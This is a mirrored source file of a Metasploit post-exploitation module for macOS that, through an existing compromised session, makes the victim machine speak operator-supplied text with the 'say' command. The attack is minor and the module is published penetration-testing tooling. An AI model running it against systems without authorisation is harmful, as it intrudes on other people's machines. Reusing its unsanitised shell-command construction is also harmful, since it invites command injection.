Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/admin/say.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'OS X Text to Speech Utility',12'Description' => %q{13This module will speak whatever is in the 'TEXT' option on the victim machine.14},15'References' => [16['URL', 'http://www.gabrielserafini.com/blog/2008/08/19/mac-os-x-voices-for-using-with-the-say-command/']17],18'License' => MSF_LICENSE,19'Author' => [ 'sinn3r'],20'Platform' => [ 'osx' ],21'SessionTypes' => [ 'meterpreter', 'shell' ]22)23)2425register_options(26[27OptString.new('TEXT', [true, 'The text to say', "meta-sploit\!"]),28OptString.new('VOICE', [true, 'The voice to use', 'alex'])29]30)31end3233def exec(cmd)34tries = 035begin36out = cmd_exec(cmd).chomp37rescue ::Timeout::Error => e38tries += 139if tries < 340vprint_error("#{@peer} - #{e.message} - retrying...")41retry42end43rescue EOFError => e44tries += 145if tries < 346vprint_error("#{@peer} - #{e.message} - retrying...")47retry48end49end50end5152def run53txt = datastore['TEXT']54voice = datastore['VOICE']5556# Say the text57out = cmd_exec("say -v \"#{voice}\" \"#{txt}\"")58if out =~ /command not found/59print_error("The remote machine does not have the \'say\' command")60elsif !out.empty?61print_status(out)62end63end64end656667